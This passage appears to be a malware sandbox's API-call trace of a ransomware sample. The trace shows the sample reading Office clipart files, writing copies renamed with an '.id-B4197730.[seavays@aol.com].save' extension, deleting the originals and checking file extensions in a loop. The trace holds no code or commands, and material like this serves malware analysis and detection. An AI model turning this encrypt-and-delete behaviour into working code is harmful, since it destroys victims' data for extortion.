lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0065.157] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.157] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.157] SetEndOfFile (hFile=0x384) returned 1 [0065.683] CloseHandle (hObject=0x384) returned 1 [0065.685] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.685] SetEndOfFile (hFile=0x394) returned 1 [0065.689] CloseHandle (hObject=0x394) returned 1 [0065.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0065.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.690] lstrlenW (lpString=".doc") returned 4 [0065.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.690] lstrlenW (lpString=".docx") returned 5 [0065.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.690] lstrlenW (lpString=".pdf") returned 4 [0065.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.691] lstrlenW (lpString=".xls") returned 4 [0065.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.691] lstrlenW (lpString=".xlsx") returned 5 [0065.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.691] lstrlenW (lpString=".ppt") returned 4 [0065.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.691] lstrlenW (lpString=".zip") returned 4 [0065.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.691] lstrlenW (lpString=".rar") returned 4 [0065.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.691] lstrlenW (lpString=".bz2") returned 4 [0065.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.691] lstrlenW (lpString=".7z") returned 3 [0065.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.691] lstrlenW (lpString=".dbf") returned 4 [0065.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.691] lstrlenW (lpString=".1cd") returned 4 [0065.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.691] lstrlenW (lpString=".jpg") returned 4 [0065.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.692] lstrlenW (lpString=".doc") returned 4 [0065.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.692] lstrlenW (lpString=".docx") returned 5 [0065.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.692] lstrlenW (lpString=".pdf") returned 4 [0065.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.692] lstrlenW (lpString=".xls") returned 4 [0065.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.692] lstrlenW (lpString=".xlsx") returned 5 [0065.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.692] lstrlenW (lpString=".ppt") returned 4 [0065.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.692] lstrlenW (lpString=".zip") returned 4 [0065.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.692] lstrlenW (lpString=".rar") returned 4 [0065.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.692] lstrlenW (lpString=".bz2") returned 4 [0065.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.692] lstrlenW (lpString=".7z") returned 3 [0065.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.692] lstrlenW (lpString=".dbf") returned 4 [0065.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.693] lstrlenW (lpString=".1cd") returned 4 [0065.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0065.693] lstrlenW (lpString=".jpg") returned 4 [0065.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.693] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0065.693] lstrlenW (lpString="BD19988_.WMF") returned 12 [0065.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0065.694] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18304) returned 1 [0065.694] CloseHandle (hObject=0x394) returned 1 [0065.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0065.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0065.694] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.694] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0065.695] GetLastError () returned 0x0 [0065.695] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4780, lpOverlapped=0x0) returned 1 [0065.700] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4790, lpOverlapped=0x0) returned 1 [0065.701] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.701] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.701] SetEndOfFile (hFile=0x384) returned 1 [0065.702] CloseHandle (hObject=0x384) returned 1 [0065.704] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.704] SetEndOfFile (hFile=0x394) returned 1 [0065.705] CloseHandle (hObject=0x394) returned 1 [0065.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0065.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.706] lstrlenW (lpString=".doc") returned 4 [0065.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString=".docx") returned 5 [0065.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.706] lstrlenW (lpString=".pdf") returned 4 [0065.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString=".xls") returned 4 [0065.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.706] lstrlenW (lpString=".xlsx") returned 5 [0065.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.706] lstrlenW (lpString=".ppt") returned 4 [0065.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.706] lstrlenW (lpString=".zip") returned 4 [0065.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.706] lstrlenW (lpString=".rar") returned 4 [0065.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString=".bz2") returned 4 [0065.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString=".7z") returned 3 [0065.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.706] lstrlenW (lpString=".dbf") returned 4 [0065.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.706] lstrlenW (lpString=".1cd") returned 4 [0065.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.707] lstrlenW (lpString=".jpg") returned 4 [0065.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.707] lstrlenW (lpString=".doc") returned 4 [0065.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString=".docx") returned 5 [0065.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.707] lstrlenW (lpString=".pdf") returned 4 [0065.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString=".xls") returned 4 [0065.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.707] lstrlenW (lpString=".xlsx") returned 5 [0065.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.707] lstrlenW (lpString=".ppt") returned 4 [0065.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.707] lstrlenW (lpString=".zip") returned 4 [0065.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.707] lstrlenW (lpString=".rar") returned 4 [0065.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString=".bz2") returned 4 [0065.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString=".7z") returned 3 [0065.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.707] lstrlenW (lpString=".dbf") returned 4 [0065.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.707] lstrlenW (lpString=".1cd") returned 4 [0065.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0065.708] lstrlenW (lpString=".jpg") returned 4 [0065.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.708] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0065.708] lstrlenW (lpString="BD20013_.WMF") returned 12 [0065.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0065.709] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11058) returned 1 [0065.709] CloseHandle (hObject=0x394) returned 1 [0065.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0065.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0065.709] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.709] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0065.710] GetLastError () returned 0x0 [0065.710] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0065.711] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0065.712] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.712] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.713] SetEndOfFile (hFile=0x384) returned 1 [0065.713] CloseHandle (hObject=0x384) returned 1 [0065.714] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.714] SetEndOfFile (hFile=0x394) returned 1 [0065.715] CloseHandle (hObject=0x394) returned 1 [0065.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0065.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.715] lstrlenW (lpString=".doc") returned 4 [0065.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString=".docx") returned 5 [0065.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.716] lstrlenW (lpString=".pdf") returned 4 [0065.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString=".xls") returned 4 [0065.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.716] lstrlenW (lpString=".xlsx") returned 5 [0065.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.716] lstrlenW (lpString=".ppt") returned 4 [0065.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.716] lstrlenW (lpString=".zip") returned 4 [0065.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.716] lstrlenW (lpString=".rar") returned 4 [0065.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString=".bz2") returned 4 [0065.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString=".7z") returned 3 [0065.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.716] lstrlenW (lpString=".dbf") returned 4 [0065.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.716] lstrlenW (lpString=".1cd") returned 4 [0065.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.716] lstrlenW (lpString=".jpg") returned 4 [0065.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.716] lstrlenW (lpString=".doc") returned 4 [0065.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString=".docx") returned 5 [0065.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.717] lstrlenW (lpString=".pdf") returned 4 [0065.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString=".xls") returned 4 [0065.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.717] lstrlenW (lpString=".xlsx") returned 5 [0065.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.717] lstrlenW (lpString=".ppt") returned 4 [0065.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.717] lstrlenW (lpString=".zip") returned 4 [0065.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.717] lstrlenW (lpString=".rar") returned 4 [0065.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString=".bz2") returned 4 [0065.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString=".7z") returned 3 [0065.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.717] lstrlenW (lpString=".dbf") returned 4 [0065.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.717] lstrlenW (lpString=".1cd") returned 4 [0065.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0065.717] lstrlenW (lpString=".jpg") returned 4 [0065.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.717] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0065.718] lstrlenW (lpString="BL00008_.WMF") returned 12 [0065.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0065.929] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=12520) returned 1 [0065.929] CloseHandle (hObject=0x394) returned 1 [0065.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0065.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.342] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.342] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.370] GetLastError () returned 0x0 [0066.370] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0066.390] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0066.392] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.392] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.392] SetEndOfFile 